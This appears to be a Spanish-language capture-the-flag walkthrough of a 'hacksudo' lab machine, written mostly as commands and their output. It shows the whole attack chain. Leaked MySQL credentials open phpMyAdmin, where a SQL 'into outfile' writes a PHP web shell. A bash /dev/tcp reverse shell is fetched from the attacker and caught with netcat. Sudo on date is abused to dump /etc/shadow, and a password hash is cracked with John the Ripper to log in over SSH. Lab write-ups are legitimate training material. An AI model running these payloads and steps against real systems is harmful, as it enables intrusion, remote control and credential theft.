Si nos vamos a /backups nos descarga un archivo mysql.bak pero no lo podremos leer tal cual, por lo que haremos lo siguiente...
filemysql.bak
Info:
mysql.bak: Bourne-Again shell script, ASCII text executable
Vemos que se puede leer como archivo de texto...
mvmysql.bakmysql.txt
catmysql.txt
Info:
#!/bin/bash
# Specify which database is to be backed up
db_name=""
# Set the website which this database relates to
website="localhost"
# Database credentials
user="vishal"
password="hacksudo"
host="localhost"
# How many days would you like to keep files for?
days="30"
######################################################
##### EDITING BELOW MAY CAUSE UNEXPECTED RESULTS #####
######################################################
# Set the date
date=$(date +"%Y%m%d-%H%M")
# Set the location of where backups will be stored
backup_location="/var/backups/mysql"
# Create the directory for the website if it doesn't already exist
mkdir -p ${backup_location}/${website}
# Append the database name with the date to the backup location
backup_full_name="${backup_location}/${website}/${db_name}-${date}.sql"
# Set default file permissions
umask 177
# Dump database into SQL file
mysqldump --lock-tables --user=$user --password=$password --host=$host $db_name > $backup_full_name
# Set a value to be used to find all backups with the same name
find_backup_name="${backup_location}/${website}/${db_name}-*.sql"
# Delete files older than the number of days defined
find $find_backup_name -mtime +$days -type f -delete
Por lo que vemos hay unas credenciales y al pertenecer a mysql podremos intuir que tiene que ser del panel de login de phpmyadmin que descubrimos en el nmap que esta en el puerto 9000 por lo que pondremos lo siguiente...
URL = http://<IP>:9000/
Una vez puesto eso nos llevara al panel de login, si ingresamos las credenciales que encontramos nos dejara entrar...
User = vishal
Password = hacksudo
Una vez dentro haremos lo siguiente...
Le daremos al boton New...
Despues ponemos cualquier nombre en la casilla Database Name y seleccionamos la primera opcion de la derecha llamada collation...
Le daremos a Create una vez hecho eso, nos iremos a nuestra base de datos creada...
Y le damos a la opcion llamada SQL...
Dentro metemos el siguiente comando...
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/backdoor.php"
Y le damos a la opcion de Go...
Ahora si nos vamos a la URL donde le hemos dicho que lo cree...
URL = http://<IP>/backdoor.php
Veremos una pagina en blanco, por lo que significa que el archivo existe, ahora si hacemos lo siguiente...
Estando a la escucha para saber que te llega el mensaje del envio del comando desde la maquina victima...
python3-mhttp.server80
Si al enviar el comando con curl llega un mensaje al comando de python3 significa que la herramienta esta instalada, por lo que podremos hacer lo siguiente...
nanoindex.html#Contenido del nano#!/bin/bashbash-i>&/dev/tcp/<IP>/<PORT>0>&1
Guardamos el archivo y ahora lo ejecutaremos desde curl en la maquina victima haciendo lo siguiente...
Donde tengamos el archivo abrimos un servidor de python3 de la siguiente manera...
python3-mhttp.server80
Una vez hecho eso, estaremos a la escucha...
nc-nlvp<PORT>
Y por ultimo lo ejecutaremos con curl de la siguiente forma en la maquina victima...
Y con esto ya tendriamos la shell como el usuario www-data...
Sanitizamos la shell...
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Veremos que podemos ejecutar date como root pero solo nos sirve para leer archivos, por lo que haremos lo siguiente...
date-f/etc/shadow
Info:
date: invalid date 'root:$6$N6p.dpWhPYXSXC9U$8EraUiQ5DtMF5ov2ZbnY8DoLK1liRukqhTnTTK67MQ.tgpglkVX/I9P1aYjNeO/cwjQk9lJ/ABd9YLTMeMSn3/:18721:0:99999:7:::'
date: invalid date 'daemon:*:18714:0:99999:7:::'
date: invalid date 'bin:*:18714:0:99999:7:::'
date: invalid date 'sys:*:18714:0:99999:7:::'
date: invalid date 'sync:*:18714:0:99999:7:::'
date: invalid date 'games:*:18714:0:99999:7:::'
date: invalid date 'man:*:18714:0:99999:7:::'
date: invalid date 'lp:*:18714:0:99999:7:::'
date: invalid date 'mail:*:18714:0:99999:7:::'
date: invalid date 'news:*:18714:0:99999:7:::'
date: invalid date 'uucp:*:18714:0:99999:7:::'
date: invalid date 'proxy:*:18714:0:99999:7:::'
date: invalid date 'www-data:*:18714:0:99999:7:::'
date: invalid date 'backup:*:18714:0:99999:7:::'
date: invalid date 'list:*:18714:0:99999:7:::'
date: invalid date 'irc:*:18714:0:99999:7:::'
date: invalid date 'gnats:*:18714:0:99999:7:::'
date: invalid date 'nobody:*:18714:0:99999:7:::'
date: invalid date '_apt:*:18714:0:99999:7:::'
date: invalid date 'systemd-timesync:*:18714:0:99999:7:::'
date: invalid date 'systemd-network:*:18714:0:99999:7:::'
date: invalid date 'systemd-resolve:*:18714:0:99999:7:::'
date: invalid date 'messagebus:*:18714:0:99999:7:::'
date: invalid date 'tss:*:18714:0:99999:7:::'
date: invalid date 'dnsmasq:*:18714:0:99999:7:::'
date: invalid date 'usbmux:*:18714:0:99999:7:::'
date: invalid date 'rtkit:*:18714:0:99999:7:::'
date: invalid date 'pulse:*:18714:0:99999:7:::'
date: invalid date 'speech-dispatcher:!:18714:0:99999:7:::'
date: invalid date 'avahi:*:18714:0:99999:7:::'
date: invalid date 'saned:*:18714:0:99999:7:::'
date: invalid date 'colord:*:18714:0:99999:7:::'
date: invalid date 'geoclue:*:18714:0:99999:7:::'
date: invalid date 'hplip:*:18714:0:99999:7:::'
date: invalid date 'Debian-gdm:*:18714:0:99999:7:::'
date: invalid date 'hacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1:18721:0:99999:7:::'
date: invalid date 'systemd-coredump:!!:18714::::::'
date: invalid date 'sshd:*:18714:0:99999:7:::'
date: invalid date 'mysql:!:18720:0:99999:7:::'
Veremos el shadow al completo, a parte intentaremos crackear la contraseña del usuario hacksudo...
nanohash#Dentro del nanohacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1
john--wordlist=<WORDLIST>hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
aliens (hacksudo)
1g 0:00:00:01 DONE (2024-06-21 08:45) 0.6211g/s 4770p/s 4770c/s 4770C/s droopy..thesimpsons
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Por lo que vemos la contraseña de hacksudo es aliens...
User = hacksudo
Password = aliens
Nos conectaremos por ssh...
sshhacksudo@<IP>
Metemos la contraseña y ya estariamos dentro, por lo que leeremos la flag...